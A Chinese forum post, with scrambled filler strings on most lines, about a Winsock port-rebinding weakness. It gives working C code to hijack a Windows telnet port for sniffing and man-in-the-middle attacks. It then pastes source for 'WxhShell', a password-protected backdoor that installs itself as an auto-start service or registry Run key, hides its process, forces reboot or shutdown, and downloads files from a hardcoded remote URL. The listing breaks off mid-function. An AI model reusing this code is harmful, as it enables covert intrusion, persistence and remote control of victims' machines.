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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j; )-K 3Ia  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +oMe\wYR$r  
(GJW3  
  saddr.sin_family = AF_INET;  MfNguh  
!9JK95;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -& \?Q_6  
dKwY\)\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _; ].  
3[O;HS3|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y^W.gGM  
\a6knd  
  这意味着什么?意味着可以进行如下的攻击: .V:H~  
8 m T..23  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XN1\!CM8  
;\Vi~2!8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KD5}Nk)t  
l^ aUN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'v*Y7zZ#K  
/_G^d1T1?L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :. ja~Q  
+W P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4-:TQp(  
4uG:*0{Yx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E1e#E3Yq}s  
Q]}aZ4L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M4:}`p=  
p;VHg  
  #include |P"p/iY  
  #include U0kEhMIIf  
  #include Jj$N3UCg7  
  #include    ua]>0\D  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9"YOj_z  
  int main() [j :]YR  
  { w Kq-|yf,  
  WORD wVersionRequested; naT;K0T=  
  DWORD ret; bQ" w%!  
  WSADATA wsaData; <"" fJ`7  
  BOOL val; Iw0Q1bK(  
  SOCKADDR_IN saddr; !?7c2QRN  
  SOCKADDR_IN scaddr; Ws;}D}+  
  int err; n"1LVJN7  
  SOCKET s; ]`2=<n;=  
  SOCKET sc; 5`B ! 1  
  int caddsize; p/a)vN+*x'  
  HANDLE mt; T*%Q s&x ;  
  DWORD tid;   ?4U|6|1  
  wVersionRequested = MAKEWORD( 2, 2 ); :u7y k@  
  err = WSAStartup( wVersionRequested, &wsaData ); ~fE6g3  
  if ( err != 0 ) { y:N QLL>  
  printf("error!WSAStartup failed!\n"); 9Xg+$/  
  return -1; S"Dw8_y7}  
  } P%6-W5<  
  saddr.sin_family = AF_INET; P2S$Dk_<\X  
   p-=+i   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4$=Dq$4z  
xsq+RBJi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vElVw. P  
  saddr.sin_port = htons(23); 0!c^pOq6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Y|jK< n?H  
  { .I@jt?6X  
  printf("error!socket failed!\n"); g $\Z-!(  
  return -1; 75t\= 6#  
  } YJlpP0;++  
  val = TRUE; ?=%Q$|]-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q-X<zn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \B'rWk 33,  
  { ]Y'oxh  
  printf("error!setsockopt failed!\n"); HrUQ X4  
  return -1; ab1qcQ<  
  }  6[<*C?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BTwLx-p9t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?t&sT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (Z YGfX  
qFo'"z`84  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LeA=*+zP[  
  { QPf#y7_@u  
  ret=GetLastError(); ^ $M@yWX6  
  printf("error!bind failed!\n"); f3>8ZB4  
  return -1; KB$s7S"=  
  } Nj2f?',;U  
  listen(s,2); Dl kHE8r\  
  while(1) ^rI<}cfR  
  { g7*ii X  
  caddsize = sizeof(scaddr); Fg3VD(D^U  
  //接受连接请求 >9o(84AxIH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); paUlp7x  
  if(sc!=INVALID_SOCKET) "#4p#dM0e  
  { ;* vVucx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LLn,pI2fL{  
  if(mt==NULL) Jl^Rz;bQ-  
  { 7gR8Wr ^  
  printf("Thread Creat Failed!\n"); SCClD6k=V  
  break; ,O@x v  
  } =v4;t'_^  
  } ]&za^%q0&  
  CloseHandle(mt); 4~Ptn/ g  
  } 3@ a  
  closesocket(s); ?=:wIMV  
  WSACleanup(); h&3*O[`  
  return 0; i2ap]  
  }   v$R+5_@[l  
  DWORD WINAPI ClientThread(LPVOID lpParam) #On EQ:  
  { yub|   
  SOCKET ss = (SOCKET)lpParam; 1]HEwTT/1_  
  SOCKET sc; SbNs#  
  unsigned char buf[4096]; 4J=6A4O5Z  
  SOCKADDR_IN saddr; )$#]h]ac  
  long num; \#P>k;D  
  DWORD val; 8Wn;U!qT  
  DWORD ret; ^goa$ uxU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y}_J@&:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ju""i4  
  saddr.sin_family = AF_INET; \atztC{-L>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V[<]BOM\v  
  saddr.sin_port = htons(23); =HT:p:S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) > uS?Nz5/  
  { 8}/v[8p  
  printf("error!socket failed!\n"); 5T?esF<  
  return -1; G.2ij%Zz  
  } W+3ZuAP\n  
  val = 100; H6ff b)&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I\JJ7/S`t  
  { pyEi@L1p  
  ret = GetLastError(); k}-@N;zq  
  return -1; 2BLcun  
  } t:tT Zh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #hEN4c[Ex  
  { vkdU6CZO  
  ret = GetLastError(); >[ r TUn;  
  return -1; i{8T 8  
  } ]C |Zs=5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pK=$)<I"6  
  { c}iVBN6~.<  
  printf("error!socket connect failed!\n"); X {,OP/  
  closesocket(sc); c@RMy$RTF  
  closesocket(ss); {R[FwB^7wJ  
  return -1; Nz`4q %+  
  } +I$c+WfU  
  while(1) mQmn&:R  
  { Lpw9hj|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FLI\SF<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l4+!H\2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3L$_OXx  
  num = recv(ss,buf,4096,0); ("{JNA/  
  if(num>0) lWS @<j  
  send(sc,buf,num,0); #3@ Du(_n  
  else if(num==0) :'aT 4  
  break; jEj#|w  
  num = recv(sc,buf,4096,0); Qmxe*@{`  
  if(num>0) SVsLu2tVY  
  send(ss,buf,num,0); YUo{e=m|  
  else if(num==0) m,nZrap  
  break; ZD{%0 uh  
  } fMe "r*SU  
  closesocket(ss); OU;R;=/]  
  closesocket(sc); #:0dq D=  
  return 0 ; 8<(qN> R  
  } !@mV$nTA  
^UP!y!&N  
:USN`"  
========================================================== m(QGP\Ya  
K;jV"R<9  
下边附上一个代码,,WXhSHELL =;DmD?nZ  
85; BS'  
========================================================== ^)ouL25Z*2  
J2cqnwUV  
#include "stdafx.h" WAPN,WuW  
=}N&c4I[j  
#include <stdio.h> cW B>  
#include <string.h> oh+Q}Fa:  
#include <windows.h> j-wSsjLk  
#include <winsock2.h> ,at"Q$)T  
#include <winsvc.h> mdxa^#w  
#include <urlmon.h> N6wea]  
IC&xL9  
#pragma comment (lib, "Ws2_32.lib") L[\m{gN  
#pragma comment (lib, "urlmon.lib") ?sQOz[ig;  
n%; wQ^  
#define MAX_USER   100 // 最大客户端连接数 SS?^-BI  
#define BUF_SOCK   200 // sock buffer 9(?9yFbj5  
#define KEY_BUFF   255 // 输入 buffer  W7I.S5  
_@I8B  
#define REBOOT     0   // 重启 |J: n'}  
#define SHUTDOWN   1   // 关机 v"M5';ZS>  
E (DNK  
#define DEF_PORT   5000 // 监听端口 om%L>zfB  
AR9D;YfR~  
#define REG_LEN     16   // 注册表键长度 yZup4#>8  
#define SVC_LEN     80   // NT服务名长度 :^7P. lhK  
S a5+_TW  
// 从dll定义API eELJDSd BV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i#/,Q1yEn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <CrNDY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W}&[p=PAS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b-pZrnZ!  
\]Nlka  
// wxhshell配置信息 M B]8iy8  
struct WSCFG { ~WH4D+  
  int ws_port;         // 监听端口 t']d_Vcza  
  char ws_passstr[REG_LEN]; // 口令 +<5q8{]Pk  
  int ws_autoins;       // 安装标记, 1=yes 0=no P{ YUW~  
  char ws_regname[REG_LEN]; // 注册表键名 rQ~7BlE  
  char ws_svcname[REG_LEN]; // 服务名 j#^EZ/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nx #0*r}5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P%?|V _m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rf*we+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u{#}Lo>B #  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0V*B3V<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zrt\] h+  
2$=U#!OtU  
}; Q]j [+e  
L%G/%*7;c  
// default Wxhshell configuration ,(d\!T/]'  
struct WSCFG wscfg={DEF_PORT, ~)!yl. H  
    "xuhuanlingzhe", 8K: RoR  
    1, -$W#bqvz^  
    "Wxhshell", p;;4b@  
    "Wxhshell", #_]/Mr1  
            "WxhShell Service", GM&< ?K1  
    "Wrsky Windows CmdShell Service", \ G}02h  
    "Please Input Your Password: ", W?y7mw_S  
  1, kKbq?}W[  
  "http://www.wrsky.com/wxhshell.exe", TJ k3z^.j  
  "Wxhshell.exe" Ul"9zTH  
    }; ;U7o)A;  
R]{zGFnx  
// 消息定义模块 &72 ( <  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "Zk# bQ2j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _v~c3y).  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gn*cphb  
char *msg_ws_ext="\n\rExit."; m |K"I3W$  
char *msg_ws_end="\n\rQuit."; xBba&A]=  
char *msg_ws_boot="\n\rReboot..."; L`sg60z  
char *msg_ws_poff="\n\rShutdown..."; Be~__pd  
char *msg_ws_down="\n\rSave to "; jA<(#lm;  
A0mj!P9  
char *msg_ws_err="\n\rErr!"; @9,=|kxK  
char *msg_ws_ok="\n\rOK!"; 2x PkQOj3  
/j7e q  
char ExeFile[MAX_PATH]; g.L~Z1-  
int nUser = 0; ^HS;\8Xvb  
HANDLE handles[MAX_USER]; --S1p0  
int OsIsNt; a1^CpeG~  
Uc>kiWW  
SERVICE_STATUS       serviceStatus; G =`-w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i rjOGn  
U}#3 LFr.?  
// 函数声明 n ~c<[  
int Install(void); /l.:GH36f  
int Uninstall(void); E6 g]EE  
int DownloadFile(char *sURL, SOCKET wsh); y!z2+q2  
int Boot(int flag); \[\4= !v  
void HideProc(void); E[$"~|7|$  
int GetOsVer(void); @wvgMu  
int Wxhshell(SOCKET wsl); |uUGvIsXn  
void TalkWithClient(void *cs); d_v]mfUF  
int CmdShell(SOCKET sock); 6XP>qI,AJ  
int StartFromService(void); Bf5Z  
int StartWxhshell(LPSTR lpCmdLine); 0o2*X|i(  
H1bHQB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tLH:'"{zx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t`M4@1S"'  
GGM|B}U p  
// 数据结构和表定义 uez"{_I  
SERVICE_TABLE_ENTRY DispatchTable[] = vl`Qz"Xy  
{ :k; c|MW  
{wscfg.ws_svcname, NTServiceMain}, [Sr^CY P(  
{NULL, NULL} bk(q8xR`  
}; -JKl\E  
rt rPRR\:"  
// 自我安装 MQc<AfW3/  
int Install(void) m&PfZ%'[  
{ ]!c59%f=  
  char svExeFile[MAX_PATH]; 7`s* {  
  HKEY key; f 7R/i  
  strcpy(svExeFile,ExeFile); x5w5xw  
lr*p\vH  
// 如果是win9x系统,修改注册表设为自启动 jj,CBNo(  
if(!OsIsNt) { =l)D$l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'c&[kMR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tG7F!um(  
  RegCloseKey(key); =,B Dd$e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f]pHJVgFV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cp:U@Nh(  
  RegCloseKey(key); lGlh/B%  
  return 0; 'fK3L<$z#m  
    } }s7@0#j@a  
  } XnwVK  
} 7"_m?c8  
else { QGCg~TV;  
> `1K0?_  
// 如果是NT以上系统,安装为系统服务 -l Y,lC>{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *b}/fG)XZ  
if (schSCManager!=0) BS.5g<E2q  
{ "u.'JE;j  
  SC_HANDLE schService = CreateService sSLV R^  
  ( LULRi#n  
  schSCManager, h]Y,gya[yk  
  wscfg.ws_svcname, q90 ~)n?  
  wscfg.ws_svcdisp, lC=-1*WH  
  SERVICE_ALL_ACCESS, }PXtwp13&u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :hBLi99 o  
  SERVICE_AUTO_START, *V`E)maU  
  SERVICE_ERROR_NORMAL, <.Dg3RH  
  svExeFile, 7;I;(iY  
  NULL, >"q?P^f/  
  NULL, o5E5s9n  
  NULL, %{|67h  
  NULL, 4wkmgS  
  NULL * lJkk  
  ); Ueu~803~  
  if (schService!=0) qOTo p-  
  { !gm@QO cF  
  CloseServiceHandle(schService); d4m@u$^1B  
  CloseServiceHandle(schSCManager); x MFo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N;HG@B!m  
  strcat(svExeFile,wscfg.ws_svcname); { .j030Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6J]8BHJn+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rb_%vOM  
  RegCloseKey(key); ri2`M\;gt  
  return 0; KY%LqcC  
    } &R))c|>OT&  
  } >g;995tG  
  CloseServiceHandle(schSCManager); X%98k'h.y  
} 35H.ZXQp-  
} qoP /` Y6  
gF2,Jm@"6  
return 1; Zet80|q  
} +w2 `  
V/+D]  
// 自我卸载 `)tIXMn  
int Uninstall(void) (]nX:t  
{ I_Omv{&u  
  HKEY key; fCbd]X  
n}dLfg *  
if(!OsIsNt) { Db*&'32W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iHT=ROL  
  RegDeleteValue(key,wscfg.ws_regname); =u`tlN5pOT  
  RegCloseKey(key); B"rO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v"l8[::  
  RegDeleteValue(key,wscfg.ws_regname); FEi@MJJ\e  
  RegCloseKey(key); $>zqCi2tB<  
  return 0; .JBTU>1]_n  
  } T7^?j :kJ/  
} :W9a t  
} }J`cRDO  
else { */OKg;IMi  
`<6FCn4{X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :eH\9$F`x;  
if (schSCManager!=0) G0he'BR  
{ )XDbg>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eVzZfB-=4}  
  if (schService!=0) +OZ\rs  
  { hlfdmh? /  
  if(DeleteService(schService)!=0) { 4+Jf!ovS=  
  CloseServiceHandle(schService); (v&iXD5t  
  CloseServiceHandle(schSCManager); {mB!mbr  
  return 0; ~ \b~  
  } 'A9Z ((  
  CloseServiceHandle(schService); q7pe\~q  
  } 7M~/[f7Z{  
  CloseServiceHandle(schSCManager); abp\Ih^b  
} LKA/s ~G  
} Q)=2%X  
p || mR  
return 1; >2ha6A[  
} 4Ik'beZqK  
dsg-;*%  
// 从指定url下载文件 =y=MljEX  
int DownloadFile(char *sURL, SOCKET wsh) YRCOh:W*  
{ y[zjs^-vCv  
  HRESULT hr; Lf`<4 P  
char seps[]= "/"; C#B|^A_  
char *token; ornU8H`  
char *file; 03.\!rZZ  
char myURL[MAX_PATH]; 6Fc*&7Z+  
char myFILE[MAX_PATH]; oPVt qQ  
s{*bFA Z1F  
strcpy(myURL,sURL); j.[W] EfL~  
  token=strtok(myURL,seps); ZSr!L@S  
  while(token!=NULL) K)^8 :nt  
  { i1K$~  
    file=token; xz~Y %Y|Z  
  token=strtok(NULL,seps);  $ Tal.  
  } ;0`IFtz  
y8Rq2jI;(e  
GetCurrentDirectory(MAX_PATH,myFILE); wB:<ICm  
strcat(myFILE, "\\"); R:rols"QM  
strcat(myFILE, file); \Yn0|j>  
  send(wsh,myFILE,strlen(myFILE),0); ~[f`oC  
send(wsh,"...",3,0); sY1.z5"Mm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {vT9I4d8  
  if(hr==S_OK) XM#nb$gl  
return 0; s5V|.R  
else zZP/C   
return 1; g+7j?vC{'  
$R+rB;=a!  
} QMy1!:Z&!  
@>8 {J6%\  
// 系统电源模块  y(#6nG@S  
int Boot(int flag) Xtloyph  
{ C=IN "  
  HANDLE hToken; IfT: 9 &  
  TOKEN_PRIVILEGES tkp; :F9Oj1lM%  
SbQ:vAE*ho  
  if(OsIsNt) { 0g~Cdp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GB;_!69I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x 0K#-  
    tkp.PrivilegeCount = 1; m77 !i>V)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G_zK .N   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3sW!ya-VZ  
if(flag==REBOOT) { ^ 8YBW<9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u \<APn  
  return 0; :D eJnE  
} bAy\Sr #/  
else { ?b"'w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  FsQoQ#*  
  return 0; i r'C(zD=  
} \;!7IIe#  
  } gf>GK/^HH  
  else { TKiYEh  
if(flag==REBOOT) { PS=q):R|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ; ), ,Hk  
  return 0; 6urU[t1  
} h0HK~S#xBv  
else { G}LV"0?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1=C<aRZ b^  
  return 0; 9XhH*tBn7(  
} 3(nnN[?N,5  
} 2+b}FVOe\  
rq Uk_|Xa  
return 1; ruyQ}b:zS  
} |.$7.8g  
W$`#X  
// win9x进程隐藏模块 )]4=anJu@|  
void HideProc(void) kbJ4CF}H  
{ mahNQ5W*)  
,}"jiGgS4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k*!iUz{]  
  if ( hKernel != NULL ) z@V9%xF-3  
  { UX<)hvKj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3+vVdvu%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cMoJHC,!  
    FreeLibrary(hKernel); wA)n ryXV  
  } Oamz>Hplu  
SU6Aq?`@  
return; N9y+P sh  
} wZW\r!Us  
{`T^&b k  
// 获取操作系统版本  qmenj  
int GetOsVer(void) tmM; Z(9t  
{ E H%hL5(  
  OSVERSIONINFO winfo; N8x.D-=gG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &\Lu}t7Ru  
  GetVersionEx(&winfo); 45$aq~%as  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wO`G_!W9  
  return 1; VZ y$0*  
  else 412E7   
  return 0; ;DVg[#  
} 6l &!4r@}  
N 7Y X  
// 客户端句柄模块 R,=8)OI2  
int Wxhshell(SOCKET wsl) wu &lG!#  
{ yF%e)6  
  SOCKET wsh; E*fa&G~s )  
  struct sockaddr_in client; [!8b jc]c  
  DWORD myID; qDhZC*"9#D  
n:b,zssP  
  while(nUser<MAX_USER) t)g %9 k^  
{ V@TA~'$|  
  int nSize=sizeof(client); kBk2mMZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 `q(_\x  
  if(wsh==INVALID_SOCKET) return 1;  H{Lt,#  
a" T+CA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;OD-?bC  
if(handles[nUser]==0) Q~k|lTf  
  closesocket(wsh); }9#GJ:x`  
else 3>73s}3  
  nUser++; UQ7La 7"  
  } SW+;%+`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e7\gd\  
M"u=)CT  
  return 0; v0tFU!Q%  
} yf`_?gJ6d  
pv&iJ7RN  
// 关闭 socket _bg Zl  
void CloseIt(SOCKET wsh) PxvxZJf$@  
{ |ITb1O`_P  
closesocket(wsh); -f1}N|hy  
nUser--; a|[f%T<<  
ExitThread(0); $=^}J 6  
} ]n<B a7Y  
X}C8!LA  
// 客户端请求句柄 O:RN4/17  
void TalkWithClient(void *cs) W[]|Uu/%  
{ ^^tTA^  
sCQV-%9  
  SOCKET wsh=(SOCKET)cs; KV9~L`=]i  
  char pwd[SVC_LEN]; 8oRq3"  
  char cmd[KEY_BUFF]; wN/v-^2  
char chr[1]; Nlwt}7  
int i,j; Zu4CFX-4  
ba ,n/yH  
  while (nUser < MAX_USER) { ]gv3|W  
P *PJ  
if(wscfg.ws_passstr) { 0JR)-*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -4F}I3I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;:J"- p  
  //ZeroMemory(pwd,KEY_BUFF); M\7F1\ X  
      i=0; XH/!A`ZK  
  while(i<SVC_LEN) { ;b=7m#5  
.Zs.O/  
  // 设置超时 REi"Aj=  
  fd_set FdRead; cd=H4:<T5  
  struct timeval TimeOut; aM,g@'.=  
  FD_ZERO(&FdRead); AxTFV ot  
  FD_SET(wsh,&FdRead); K]7[|qf&   
  TimeOut.tv_sec=8; SNSoV3|k-  
  TimeOut.tv_usec=0; w Bm4~ ~_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HxL uJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <4/q5*&  
X`eX+9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k][{4~z  
  pwd=chr[0]; ybv< 1  
  if(chr[0]==0xd || chr[0]==0xa) { |gINB3L  
  pwd=0; fmUrwI1 %  
  break; 1L\r:mx3  
  } -JFW ,8=8  
  i++; F4Cq85#  
    } 9O^~l2`  
ATmyoN2@>  
  // 如果是非法用户,关闭 socket pXh`o20I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JEZ0O&_R  
} 3(.Y>er%U  
92b}N|u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H{EZ} *{M4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A L |,\s  
H,j_2JOY=  
while(1) { \]\GDpu[  
;\ j'~AyCn  
  ZeroMemory(cmd,KEY_BUFF); Lc-Wf zT  
MBQ|*}+;  
      // 自动支持客户端 telnet标准   X .K*</(g  
  j=0; uo|:n"v  
  while(j<KEY_BUFF) { @|'9nPern  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jrttWT  
  cmd[j]=chr[0]; j4=\MK  
  if(chr[0]==0xa || chr[0]==0xd) { j``Ku@/x0  
  cmd[j]=0; b1."mT!p  
  break; !)}z{,Jx  
  } FZ8Qj8  
  j++; M%SNq|Lo  
    } ;~`/rh V\  
1$m{)Io2(  
  // 下载文件 Un5 AStG  
  if(strstr(cmd,"http://")) { }ZiJHj'<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F2)KAIl  
  if(DownloadFile(cmd,wsh)) /Vx EqIK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {q;_Dd  
  else 4"^W/Zo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T[cJ   
  } moMNd(p  
  else { KyqP@ {  
uY3#,  
    switch(cmd[0]) { YelF)Na  
  Pt6d5EIG  
  // 帮助 <v\x<ul6  
  case '?': { N5xI;UV9'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '68#7Hs.  
    break; xa{.hp?  
  } cBCC/n  
  // 安装 |Fq\%y#  
  case 'i': { kpQN>XV#  
    if(Install()) C]na4yE 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JX{rum  
    else )"E1/$*k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {D [z>I;D  
    break; ~ntDzF  
    } VQ+G.  
  // 卸载 )|Ka'\xr  
  case 'r': { d%p{l)Hd  
    if(Uninstall()) @%^h|g8>Fu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )E6E}  
    else xBqZ: BQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %F:; A  
    break; "!D,9AkZS  
    } 9*r l7  
  // 显示 wxhshell 所在路径 /d$kz&aIV  
  case 'p': { LftGA7uGJ)  
    char svExeFile[MAX_PATH]; |"eC0u  
    strcpy(svExeFile,"\n\r"); xp]9Z]J1l  
      strcat(svExeFile,ExeFile); ^r{N^  
        send(wsh,svExeFile,strlen(svExeFile),0); \e%%ik,<  
    break; @U =~ c9  
    } P|;f>*^Y  
  // 重启 ^<j =.E  
  case 'b': { >#Bu [nD%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -L wz T  
    if(Boot(REBOOT)) !0v3Lu ~j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o9OCgP`Y  
    else { FbW$H]C$  
    closesocket(wsh); !d95gq<=>  
    ExitThread(0); ._&SS,I5VZ  
    } FrV8_[  
    break; G P`sOPr  
    } Ghar hJ>v  
  // 关机 =(v'8?--  
  case 'd': { TW1#'G_#  
